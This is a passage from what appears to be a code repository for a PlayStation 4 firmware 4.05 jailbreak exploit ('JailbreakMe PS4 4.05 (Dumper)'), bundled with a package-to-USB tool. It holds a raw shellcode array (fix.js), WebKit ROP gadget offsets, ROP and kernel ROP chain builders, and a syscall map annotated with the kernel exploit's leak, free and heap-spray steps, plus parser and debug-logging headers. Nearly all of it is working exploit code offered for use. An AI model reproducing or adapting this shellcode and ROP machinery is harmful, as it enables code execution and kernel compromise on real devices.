47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i));
48 |
49 | // EE :)
50 |
51 | return 0;
52 | }
53 |
--------------------------------------------------------------------------------
/exploit/fix.js:
--------------------------------------------------------------------------------
1 | var fix = [0x00000be9,0x90909000,0x90909090,0x90909090,0x0082b955,0x8948c000,0x415741e5,0x41554156,0x83485354,0x320f18ec,0x89d58949,0x64b948c0,0x77737069,0x49000000,0x4120e5c1,0x000200bc,0xc5094900,0xd0b58d4d,0x49ffcf14,0x8a509d8d,0x81490003,0x030b50c5,0x868d4901,0x001d18d0,0x00c68149,0x48001d17,0x48c04589,0xad0000a1,0x000000de,0x45894800,0x888948c8,0x000000e0,0xf080c748,0x00000000,0x48000000,0x00f880c7,0x00000000,0x1aeb0000,0x00841f0f,0x00000000,0x4cee894c,0x8b48ff89,0xd0ffc045,0x01ec8341,0x02ba2774,0x4c000000,0x80bfee89,0x41000001,0x8d48d6ff,0x00006f3d,0xc7894900,0x31c68948,0x4cd3ffc0,0x75c87d39,0xe43145c7,0xc8758b48,0x5f3d8d48,0x31000000,0x0fd3ffc0,0x0000441f,0x0000a148,0x0000dead,0x89440000,0x3d8d48e6,0x0000005c,0x20148b4a,0x08c48349,0xd3ffc031,0x80fc8149,0x75000001,0x3d8d48d7,0x00000060,0xd3ffc031,0x18c48348,0x415bc031,0x415d415c,0x5d5f415e,0x909090c3,0x6f6c6c41,0x30203a63,0x786c2578,0x624f000a,0x7463656a,0x6d754420,0x78302070,0x0a786c25,0x00000000,0x00000000,0x6265443c,0x203e6775,0x656a624f,0x2b207463,0x25783020,0x3a783330,0x25783020,0x000a786c,0x6265443c,0x203e6775,0x7473754a,0x726f4620,0x7468203a,0x3a737074,0x77772f2f,0x6f792e77,0x62757475,0x6f632e65,0x61772f6d,0x3f686374,0x4a563d76,0x6d6c5247,0x4c6c6133,0x00000a59];
2 |
--------------------------------------------------------------------------------
/exploit/gadgets.js:
--------------------------------------------------------------------------------
1 | /* For storing the gadget and import map */
2 | window.gadgetMap = [];
3 | window.basicImportMap = [];
4 |
5 | /* All function stubs / imports from other modules */
6 | var generateBasicImportMap = function()
7 | {
8 | window.basicImportMap =
9 | {
10 | '4.05':
11 | {
12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel
13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel
14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel
15 | }
16 | };
17 | }
18 |
19 | /* All gadgets from the binary of available modules */
20 | var generateGadgetMap = function()
21 | {
22 | window.gadgetMap =
23 | {
24 | '4.05':
25 | {
26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E),
27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1),
28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B),
29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B),
30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660),
31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D),
32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F),
33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0),
34 |
35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC),
36 |
37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06),
38 |
39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863),
40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7),
41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70),
42 |
43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D),
44 |
45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624),
46 |
47 | 'infloop': getGadget('libSceWebKit2', 0x45A11),
48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9),
49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80),
50 |
51 | 'ret': getGadget('libSceWebKit2', 0xC8),
52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388),
53 | }
54 | };
55 | }
56 |
--------------------------------------------------------------------------------
/exploit/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | JailbreakMe PS4 4.05 (Dumper)
5 |
6 |
7 |
8 |
9 |
10 |
38 |
39 |
40 |
41 |
42 |
43 |
664 |
665 |
666 |
667 | ...
WebKit by qwertyoruiopz
Kernel by SpecterDev
668 |
669 |
670 |
671 |
--------------------------------------------------------------------------------
/exploit/rop.js:
--------------------------------------------------------------------------------
1 | /* Leave these values untouched, they will be set properly post-exploitation */
2 | var moduleBaseAddresses =
3 | {
4 | 'libkernel': 0,
5 | 'libSceWebKit2': 0,
6 | 'libSceLibcInternal': 0
7 | };
8 |
9 | /* Simply adds given offset to given module's base address */
10 | function getGadget(moduleName, offset)
11 | {
12 | return moduleBaseAddresses[moduleName].add32(offset);
13 | }
14 |
15 | var memory = function(p, address)
16 | {
17 | this.basePtr = address
18 | this.dataPtr = 0;
19 |
20 | /* Return a pointer in mmap'd memory */
21 | this.allocate = function(size)
22 | {
23 | /* Prevent buffer overflow / pagefault */
24 | if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
25 | {
26 | return -1;
27 | }
28 |
29 | var memAddr = this.basePtr.add32(this.dataPtr);
30 |
31 | this.dataPtr += size;
32 |
33 | return memAddr;
34 | };
35 |
36 | /* Clears all data by zeroing out this.data and resetting count */
37 | this.clear = function()
38 | {
39 | for(var i = 0; i < 0x10000; i += 8)
40 | {
41 | p.write8(this.basePtr.add32(i), 0);
42 | }
43 | };
44 |
45 | /* Zero out our data buffer before returning a storage object */
46 | this.clear();
47 |
48 | return this;
49 | };
50 |
51 | /* Called to start a kernel ROP chain */
52 | var krop = function(p, addr) {
53 | this.chainPtr = addr;
54 | this.count = 0;
55 |
56 | this.push = function(val)
57 | {
58 | p.write8(this.chainPtr.add32(this.count * 8), val);
59 | this.count++;
60 | };
61 |
62 | this.write64 = function (addr, val)
63 | {
64 | this.push(window.gadgets["pop rdi"]);
65 | this.push(addr);
66 | this.push(window.gadgets["pop rax"]);
67 | this.push(val);
68 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
69 | }
70 |
71 | return this;
72 | };
73 |
74 | /* Called to start a new ROP chain */
75 | var saferop = function(p, addr) {
76 | this.ropChain = undefined;
77 | this.ropChainPtr = undefined;
78 | this.ropChainEndPtr = undefined;
79 |
80 | if(addr == undefined)
81 | {
82 | this.ropChain = new Uint32Array(0x4000);
83 | this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
84 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
85 | }
86 | else
87 | {
88 | this.ropChainPtr = addr;
89 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
90 | }
91 |
92 | this.count = 0;
93 |
94 | /* Clears the chain */
95 | this.clear = function()
96 | {
97 | this.count = 0;
98 | this.runtime = undefined;
99 |
100 | for(var i = 0; i < 0x4000 - 0x8; i += 8)
101 | {
102 | p.write8(this.ropChainPtr.add32(i), 0);
103 | }
104 | };
105 |
106 | /* Gets the current chain index and increments it */
107 | this.getChainIndex = function()
108 | {
109 | this.count++;
110 | return this.count-1;
111 | }
112 |
113 | /* Pushes a gadget or value on the stack */
114 | this.push = function(val)
115 | {
116 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
117 | }
118 |
119 | /* Writes a 64-bit value to given location */
120 | this.push64 = function(where, what)
121 | {
122 | this.push(window.gadgets["pop rdi"]);
123 | this.push(where);
124 | this.push(window.gadgets["pop rsi"]);
125 | this.push(what);
126 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
127 | }
128 |
129 | /* Sets up a function call into a module by address */
130 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
131 | {
132 | if(rdi != undefined)
133 | {
134 | this.push(window.gadgets["pop rdi"]);
135 | this.push(rdi);
136 | }
137 |
138 | if(rsi != undefined)
139 | {
140 | this.push(window.gadgets["pop rsi"]);
141 | this.push(rsi);
142 | }
143 |
144 | if(rdx != undefined)
145 | {
146 | this.push(window.gadgets["pop rdx"]);
147 | this.push(rdx);
148 | }
149 |
150 | if(rcx != undefined)
151 | {
152 | this.push(window.gadgets["pop rcx"]);
153 | this.push(rcx);
154 | }
155 |
156 | if(r8 != undefined)
157 | {
158 | this.push(window.gadgets["pop r8"]);
159 | this.push(r8);
160 | }
161 |
162 | if(r9 != undefined)
163 | {
164 | this.push(window.gadgets["pop r9"]);
165 | this.push(r9);
166 | }
167 |
168 | this.push(rip);
169 | return this;
170 | }
171 |
172 | /* Sets up a return value location*/
173 | this.saveReturnValue = function(where)
174 | {
175 | this.push(window.gadgets["pop rdi"]);
176 | this.push(where);
177 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
178 | }
179 |
180 | /* Loads the ROP chain and initializes it */
181 | this.run = function()
182 | {
183 | var retv = p.loadchain(this);
184 | this.clear();
185 |
186 | return retv;
187 | }
188 |
189 | return this;
190 | };
191 |
192 | /* Called to start a new ROP chain */
193 | var rop = function(p, addr) {
194 | this.ropChainSize = 0x4000;
195 | this.ropChain = undefined;
196 | this.ropChainBasePtr = undefined;
197 | this.ropChainPtr = undefined;
198 | this.ropChainEndPtr = undefined;
199 |
200 | if(addr == undefined)
201 | {
202 | this.ropChain = new Uint32Array((this.ropChainSize/4)*2);
203 | this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
204 | this.ropChainPtr = this.ropChainBasePtr.add32(8);
205 | this.ropChainEndPtr = this.ropChainBasePtr.add32(this.ropChainSize);
206 | }
207 | else
208 | {
209 | this.ropChainBasePtr = addr.add32(0);
210 | this.ropChainPtr = addr.add32(8);
211 | this.ropChainEndPtr = addr.add32(this.ropChainSize);
212 | }
213 |
214 | this.count = 0;
215 |
216 | /* Clears the chain */
217 | this.clear = function()
218 | {
219 | this.count = 0;
220 | this.runtime = undefined;
221 |
222 | for(var i = 0; i < this.ropChainSize-8; i += 8)
223 | {
224 | p.write8(this.ropChainBasePtr.add32(i), 0);
225 | }
226 | };
227 |
228 | /* Gets the current chain index and increments it */
229 | this.getChainIndex = function()
230 | {
231 | this.count++;
232 | return this.count-1;
233 | }
234 |
235 | /* Pushes a gadget or value on the stack */
236 | this.push = function(val)
237 | {
238 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
239 | }
240 |
241 | /* Writes a 64-bit value to given location */
242 | this.push64 = function(where, what)
243 | {
244 | this.push(window.gadgets["pop rdi"]);
245 | this.push(where);
246 | this.push(window.gadgets["pop rsi"]);
247 | this.push(what);
248 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
249 | }
250 |
251 | /* Sets up a function call into a module by address */
252 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
253 | {
254 | if(rdi != undefined)
255 | {
256 | this.push(window.gadgets["pop rdi"]);
257 | this.push(rdi);
258 | }
259 |
260 | if(rsi != undefined)
261 | {
262 | this.push(window.gadgets["pop rsi"]);
263 | this.push(rsi);
264 | }
265 |
266 | if(rdx != undefined)
267 | {
268 | this.push(window.gadgets["pop rdx"]);
269 | this.push(rdx);
270 | }
271 |
272 | if(rcx != undefined)
273 | {
274 | this.push(window.gadgets["pop rcx"]);
275 | this.push(rcx);
276 | }
277 |
278 | if(r8 != undefined)
279 | {
280 | this.push(window.gadgets["pop r8"]);
281 | this.push(r8);
282 | }
283 |
284 | if(r9 != undefined)
285 | {
286 | this.push(window.gadgets["pop r9"]);
287 | this.push(r9);
288 | }
289 |
290 | this.push(rip);
291 | return this;
292 | }
293 |
294 | /* Sets up a return value location*/
295 | this.saveReturnValue = function(where)
296 | {
297 | this.push(window.gadgets["pop rdi"]);
298 | this.push(where);
299 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
300 | }
301 |
302 | /* Loads the ROP chain and initializes it */
303 | this.run = function()
304 | {
305 | var retv = p.loadchain(this);
306 | this.clear();
307 |
308 | return retv;
309 | }
310 |
311 | return this;
312 | };
313 |
--------------------------------------------------------------------------------
/exploit/syscalls.js:
--------------------------------------------------------------------------------
1 | /* Holds system call wrapper offsets for user's specific firmware */
2 | window.syscalls = [];
3 | window.memcalls = [];
4 |
5 | /* These are the offsets in libkernel for system call wrappers */
6 | window.syscallMap =
7 | {
8 | '4.05':
9 | {
10 | 3: 0x25F0,
11 | 4: 0x2730,
12 | 5: 0x2570,
13 | 6: 0x24D0,
14 | 20: 0x06F0,
15 | 23: 0x0710,
16 | 24: 0x0730,
17 | 54: 0x0970, // Heap spray via sys_ioctl
18 | 97: 0x0B70,
19 | 98: 0x24F0,
20 | 203: 0x1030, // Prefaulting
21 | 477: 0x27B0, // sys_mmap
22 | 557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create"
23 | 558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete"
24 | 601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service",
25 | 632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext"
26 | 633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext"
27 | 634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext"
28 | }
29 | }
30 |
31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
32 | window.syscallnames =
33 | {
34 | "sys_exit": 1,
35 | "sys_fork": 2,
36 | "sys_read": 3,
37 | "sys_write": 4,
38 | "sys_open": 5,
39 | "sys_close": 6,
40 | "sys_wait4": 7,
41 | "sys_unlink": 10,
42 | "sys_chdir": 12,
43 | "sys_chmod": 15,
44 | "sys_getpid": 20,
45 | "sys_setuid": 23,
46 | "sys_getuid": 24,
47 | "sys_geteuid": 25,
48 | "sys_recvmsg": 27,
49 | "sys_sendmsg": 28,
50 | "sys_recvfrom": 29,
51 | "sys_accept": 30,
52 | "sys_getpeername": 31,
53 | "sys_getsockname": 32,
54 | "sys_access": 33,
55 | "sys_chflags": 34,
56 | "sys_fchflags": 35,
57 | "sys_sync": 36,
58 | "sys_kill": 37,
59 | "sys_stat": 38,
60 | "sys_getppid": 39,
61 | "sys_dup": 41,
62 | "sys_pipe": 42,
63 | "sys_getegid": 43,
64 | "sys_profil": 44,
65 | "sys_getgid": 47,
66 | "sys_getlogin": 49,
67 | "sys_setlogin": 50,
68 | "sys_sigaltstack": 53,
69 | "sys_ioctl": 54,
70 | "sys_reboot": 55,
71 | "sys_revoke": 56,
72 | "sys_execve": 59,
73 | "sys_execve": 59,
74 | "sys_msync": 65,
75 | "sys_munmap": 73,
76 | "sys_mprotect": 74,
77 | "sys_madvise": 75,
78 | "sys_mincore": 78,
79 | "sys_getgroups": 79,
80 | "sys_setgroups": 80,
81 | "sys_setitimer": 83,
82 | "sys_getitimer": 86,
83 | "sys_getdtablesize": 89,
84 | "sys_dup2": 90,
85 | "sys_fcntl": 92,
86 | "sys_select": 93,
87 | "sys_fsync": 95,
88 | "sys_setpriority": 96,
89 | "sys_socket": 97,
90 | "sys_connect": 98,
91 | "sys_getpriority": 100,
92 | "sys_send": 101,
93 | "sys_recv": 102,
94 | "sys_bind": 104,
95 | "sys_setsockopt": 105,
96 | "sys_listen": 106,
97 | "sys_recvmsg": 113,
98 | "sys_sendmsg": 114,
99 | "sys_gettimeofday": 116,
100 | "sys_getrusage": 117,
101 | "sys_getsockopt": 118,
102 | "sys_readv": 120,
103 | "sys_writev": 121,
104 | "sys_settimeofday": 122,
105 | "sys_fchmod": 124,
106 | "sys_recvfrom": 125,
107 | "sys_setreuid": 126,
108 | "sys_setregid": 127,
109 | "sys_rename": 128,
110 | "sys_flock": 131,
111 | "sys_sendto": 133,
112 | "sys_shutdown": 134,
113 | "sys_socketpair": 135,
114 | "sys_mkdir": 136,
115 | "sys_rmdir": 137,
116 | "sys_utimes": 138,
117 | "sys_adjtime": 140,
118 | "sys_getpeername": 141,
119 | "sys_setsid": 147,
120 | "sys_sysarch": 165,
121 | "sys_setegid": 182,
122 | "sys_seteuid": 183,
123 | "sys_fstat": 189,
124 | "sys_lstat": 190,
125 | "sys_pathconf": 191,
126 | "sys_fpathconf": 192,
127 | "sys_getrlimit": 194,
128 | "sys_setrlimit": 195,
129 | "sys_getdirentries": 196,
130 | "sys___sysctl": 202,
131 | "sys_mlock": 203,
132 | "sys_munlock": 204,
133 | "sys_futimes": 206,
134 | "sys_poll": 209,
135 | "sys_clock_gettime": 232,
136 | "sys_clock_settime": 233,
137 | "sys_clock_getres": 234,
138 | "sys_ktimer_create": 235,
139 | "sys_ktimer_delete": 236,
140 | "sys_ktimer_settime": 237,
141 | "sys_ktimer_gettime": 238,
142 | "sys_ktimer_getoverrun": 239,
143 | "sys_nanosleep": 240,
144 | "sys_rfork": 251,
145 | "sys_issetugid": 253,
146 | "sys_getdents": 272,
147 | "sys_preadv": 289,
148 | "sys_pwritev": 290,
149 | "sys_getsid": 310,
150 | "sys_aio_suspend": 315,
151 | "sys_mlockall": 324,
152 | "sys_munlockall": 325,
153 | "sys_sched_setparam": 327,
154 | "sys_sched_getparam": 328,
155 | "sys_sched_setscheduler": 329,
156 | "sys_sched_getscheduler": 330,
157 | "sys_sched_yield": 331,
158 | "sys_sched_get_priority_max": 332,
159 | "sys_sched_get_priority_min": 333,
160 | "sys_sched_rr_get_interval": 334,
161 | "sys_utrace": 335,
162 | "sys_sigprocmask": 340,
163 | "sys_sigprocmask": 340,
164 | "sys_sigsuspend": 341,
165 | "sys_sigpending": 343,
166 | "sys_sigtimedwait": 345,
167 | "sys_sigwaitinfo": 346,
168 | "sys_kqueue": 362,
169 | "sys_kevent": 363,
170 | "sys_uuidgen": 392,
171 | "sys_sendfile": 393,
172 | "sys_fstatfs": 397,
173 | "sys_ksem_close": 400,
174 | "sys_ksem_post": 401,
175 | "sys_ksem_wait": 402,
176 | "sys_ksem_trywait": 403,
177 | "sys_ksem_init": 404,
178 | "sys_ksem_open": 405,
179 | "sys_ksem_unlink": 406,
180 | "sys_ksem_getvalue": 407,
181 | "sys_ksem_destroy": 408,
182 | "sys_sigaction": 416,
183 | "sys_sigreturn": 417,
184 | "sys_getcontext": 421,
185 | "sys_setcontext": 422,
186 | "sys_swapcontext": 423,
187 | "sys_sigwait": 429,
188 | "sys_thr_create": 430,
189 | "sys_thr_exit": 431,
190 | "sys_thr_self": 432,
191 | "sys_thr_kill": 433,
192 | "sys_ksem_timedwait": 441,
193 | "sys_thr_suspend": 442,
194 | "sys_thr_wake": 443,
195 | "sys_kldunloadf": 444,
196 | "sys__umtx_op": 454,
197 | "sys__umtx_op": 454,
198 | "sys_thr_new": 455,
199 | "sys_sigqueue": 456,
200 | "sys_thr_set_name": 464,
201 | "sys_rtprio_thread": 466,
202 | "sys_pread": 475,
203 | "sys_pwrite": 476,
204 | "sys_mmap": 477,
205 | "sys_lseek": 478,
206 | "sys_truncate": 479,
207 | "sys_ftruncate": 480,
208 | "sys_thr_kill2": 481,
209 | "sys_shm_open": 482,
210 | "sys_shm_unlink": 483,
211 | "sys_cpuset_getid": 486,
212 | "sys_cpuset_getaffinity": 487,
213 | "sys_cpuset_setaffinity": 488,
214 | "sys_openat": 499,
215 | "sys_pselect": 522,
216 |
217 | "sys_regmgr_call": 532,
218 | "sys_jitshm_create": 533,
219 | "sys_jitshm_alias": 534,
220 | "sys_dl_get_list": 535,
221 | "sys_dl_get_info": 536,
222 | "sys_dl_notify_event": 537,
223 | "sys_evf_create": 538,
224 | "sys_evf_delete": 539,
225 | "sys_evf_open": 540,
226 | "sys_evf_close": 541,
227 | "sys_evf_wait": 542,
228 | "sys_evf_trywait": 543,
229 | "sys_evf_set": 544,
230 | "sys_evf_clear": 545,
231 | "sys_evf_cancel": 546,
232 | "sys_query_memory_protection": 47,
233 | "sys_batch_map": 548,
234 | "sys_osem_create": 549,
235 | "sys_osem_delete": 550,
236 | "sys_osem_open": 551,
237 | "sys_osem_close": 552,
238 | "sys_osem_wait": 553,
239 | "sys_osem_trywait": 554,
240 | "sys_osem_post": 555,
241 | "sys_osem_cancel": 556,
242 | "sys_namedobj_create": 557,
243 | "sys_namedobj_delete": 558,
244 | "sys_set_vm_container": 559,
245 | "sys_debug_init": 560,
246 | "sys_suspend_process": 561,
247 | "sys_resume_process": 562,
248 | "sys_opmc_enable": 563,
249 | "sys_opmc_disable": 564,
250 | "sys_opmc_set_ctl": 565,
251 | "sys_opmc_set_ctr": 566,
252 | "sys_opmc_get_ctr": 567,
253 | "sys_budget_create": 568,
254 | "sys_budget_delete": 569,
255 | "sys_budget_get": 570,
256 | "sys_budget_set": 571,
257 | "sys_virtual_query": 572,
258 | "sys_mdbg_call": 573,
259 | "sys_sblock_create": 574,
260 | "sys_sblock_delete": 575,
261 | "sys_sblock_enter": 576,
262 | "sys_sblock_exit": 577,
263 | "sys_sblock_xenter": 578,
264 | "sys_sblock_xexit": 579,
265 | "sys_eport_create": 580,
266 | "sys_eport_delete": 581,
267 | "sys_eport_trigger": 582,
268 | "sys_eport_open": 583,
269 | "sys_eport_close": 584,
270 | "sys_is_in_sandbox": 585,
271 | "sys_dmem_container": 586,
272 | "sys_get_authinfo": 587,
273 | "sys_mname": 588,
274 | "sys_dynlib_dlopen": 589,
275 | "sys_dynlib_dlclose": 590,
276 | "sys_dynlib_dlsym": 591,
277 | "sys_dynlib_get_list": 592,
278 | "sys_dynlib_get_info": 593,
279 | "sys_dynlib_load_prx": 594,
280 | "sys_dynlib_unload_prx": 595,
281 | "sys_dynlib_do_copy_relocations": 596,
282 | "sys_dynlib_prepare_dlclose": 597,
283 | "sys_dynlib_get_proc_param": 598,
284 | "sys_dynlib_process_needed_and_relocate": 599,
285 | "sys_sandbox_path": 600,
286 | "sys_mdbg_service": 601,
287 | "sys_randomized_path": 602,
288 | "sys_rdup": 603,
289 | "sys_dl_get_metadata": 604,
290 | "sys_workaround8849": 605,
291 | "sys_is_development_mode": 606,
292 | "sys_get_self_auth_info": 607,
293 | "sys_dynlib_get_info_ex": 608,
294 | "sys_budget_get_ptype": 610,
295 | "sys_budget_getid": 609,
296 | "sys_get_paging_stats_of_all_threads": 611,
297 | "sys_get_proc_type_info": 612,
298 | "sys_get_resident_count": 613,
299 | "sys_prepare_to_suspend_process": 614,
300 | "sys_get_resident_fmem_count": 615,
301 | "sys_thr_get_name": 616,
302 | "sys_set_gpo": 617,
303 | "sys_thr_suspend_ucontext": 632,
304 | "sys_thr_resume_ucontext": 633,
305 | "sys_thr_get_ucontext": 634
306 | }
307 |
--------------------------------------------------------------------------------
/include/cfg.h:
--------------------------------------------------------------------------------
1 | /* inih -- simple .ini/.cfg file parser
2 |
3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
4 | home page for more info:
5 |
6 | https://github.com/benhoyt/inih
7 |
8 | */
9 |
10 | #ifndef __CFG_H__
11 | #define __CFG_H__
12 |
13 | /* Nonzero if cfg_handler callback should accept lineno parameter. */
14 | #ifndef CFG_HANDLER_LINENO
15 | #define CFG_HANDLER_LINENO 0
16 | #endif
17 |
18 | /* Typedef for prototype of handler function. */
19 | #if CFG_HANDLER_LINENO
20 | typedef int (*cfg_handler)(void* user, const char* name, const char* value, int lineno);
21 | #else
22 | typedef int (*cfg_handler)(void* user, const char* name, const char* value);
23 | #endif
24 |
25 | /* Typedef for prototype of fgets-style reader function. */
26 | typedef char* (*cfg_reader)(char* str, int num, void* stream);
27 |
28 | /* Parse given CONF-style file. May have name=value pairs
29 | (whitespace stripped), and comments starting with ';' (semicolon).
30 |
31 | For each name=value pair parsed, call handler function with given user
32 | pointer and value (data only valid for duration
33 | of handler call). Handler should return nonzero on success, zero on error.
34 |
35 | Returns 0 on success, line number of first error on parse error (doesn't
36 | stop on first error), -1 on file open error, or -2 on memory allocation
37 | error (only when CFG_USE_STACK is zero).
38 | */
39 | int cfg_parse(const char* filename, cfg_handler handler, void* user);
40 |
41 | /* Same as cfg_parse(), but takes a FILE* instead of filename. This doesn't
42 | close the file when it's finished -- the caller must do that. */
43 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user);
44 |
45 | /* Same as cfg_parse(), but takes an cfg_reader function pointer instead of
46 | filename. Used for implementing custom or string-based I/O (see also
47 | cfg_parse_string). */
48 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler,
49 | void* user);
50 |
51 | /* Same as cfg_parse(), but takes a zero-terminated string with the CONF data
52 | instead of a file. Useful for parsing CONF data from a network socket or
53 | already in memory. */
54 | int cfg_parse_string(const char* string, cfg_handler handler, void* user);
55 |
56 | /* Nonzero to allow multi-line value parsing, in the style of Python's
57 | configparser. If allowed, cfg_parse() will call the handler with the same
58 | name for each subsequent line parsed. */
59 | #ifndef CFG_ALLOW_MULTILINE
60 | #define CFG_ALLOW_MULTILINE 0
61 | #endif
62 |
63 | /* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of
64 | the file. See http://code.google.com/p/inih/issues/detail?id=21 */
65 | #ifndef CFG_ALLOW_BOM
66 | #define CFG_ALLOW_BOM 0
67 | #endif
68 |
69 | /* Nonzero to allow inline comments (with valid inline comment characters
70 | specified by CFG_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match
71 | Python 3.2+ configparser behaviour. */
72 | #ifndef CFG_ALLOW_INLINE_COMMENTS
73 | #define CFG_ALLOW_INLINE_COMMENTS 1
74 | #endif
75 | #ifndef CFG_INLINE_COMMENT_PREFIXES
76 | #define CFG_INLINE_COMMENT_PREFIXES ";"
77 | #endif
78 |
79 | /* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */
80 | #ifndef CFG_USE_STACK
81 | #define CFG_USE_STACK 1
82 | #endif
83 |
84 | /* Maximum line length for any line in CONF file (stack or heap). Note that
85 | this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */
86 | #ifndef CFG_MAX_LINE
87 | #define CFG_MAX_LINE 200
88 | #endif
89 |
90 | /* Nonzero to allow heap line buffer to grow via realloc(), zero for a
91 | fixed-size buffer of CFG_MAX_LINE bytes. Only applies if CFG_USE_STACK is
92 | zero. */
93 | #ifndef CFG_ALLOW_REALLOC
94 | #define CFG_ALLOW_REALLOC 0
95 | #endif
96 |
97 | /* Initial size in bytes for heap line buffer. Only applies if CFG_USE_STACK
98 | is zero. */
99 | #ifndef CFG_INITIAL_ALLOC
100 | #define CFG_INITIAL_ALLOC 200
101 | #endif
102 |
103 | /* Stop parsing on first error (default is to keep parsing). */
104 | #ifndef CFG_STOP_ON_FIRST_ERROR
105 | #define CFG_STOP_ON_FIRST_ERROR 0
106 | #endif
107 |
108 | #endif /* __CFG_H__ */
109 |
--------------------------------------------------------------------------------
/include/debug.h:
--------------------------------------------------------------------------------
1 | #ifndef DEBUG_H
2 | #define DEBUG_H
3 |
4 | #define PRIx64 "llx"
5 | #define PRIu64 "llu"
6 | #define PRId64 "lld"
7 |
8 | int sock;
9 | char notify_buf[512];
10 |
11 | void initDebugSocket(void);
12 | void closeDebugSocket(void);
13 |
14 | #ifdef DEBUG_SOCKET
15 | #define printfsocket(format, ...)\
16 | do {\
17 | char __printfsocket_buffer[512];\
18 | int __printfsocket_size = sprintf(__printfsocket_buffer, format, ##__VA_ARGS__);\
19 | sceNetSend(sock, __printfsocket_buffer, __printfsocket_size, 0);\
20 | } while(0)
21 | #else
22 | #define printfsocket(format, ...) (void)0
23 | #endif
24 |
25 | void notify(char *message);
26 |
27 | #endif
28 |
--------------------------------------------------------------------------------
/include/defines.h:
--------------------------------------------------------------------------------
1 | #ifndef __DEFINES
2 | #define __DEFINES
3 |
4 | #define VERSION "1.0"
5 |
6 | #define CONFIG_FILE "ps4-pkg2usb.cfg"
7 |
8 | //#define DEBUG_SOCKET
9 |
10 | #define LOG_IP "192.168.1.200"
11 | #define LOG_PORT 9023
12 |
13 | #endif
14 |
--------------------------------------------------------------------------------
/include/elf64.h:
--------------------------------------------------------------------------------
1 | /*-
2 | * Copyright (c) 1996-1998 John D. Polstra.
3 | * All rights reserved.
4 | *
5 | * Redistribution and use in source and binary forms, with or without
6 | * modification, are permitted provided that the following conditions
7 | * are met:
8 | * 1. Redistributions of source code must retain the above copyright
9 | * notice, this list of conditions and the following disclaimer.
10 | * 2. Redistributions in binary form must reproduce the above copyright
11 | * notice, this list of conditions and the following disclaimer in the
12 | * documentation and/or other materials provided with the distribution.
13 | *
14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 | * SUCH DAMAGE.
25 | *
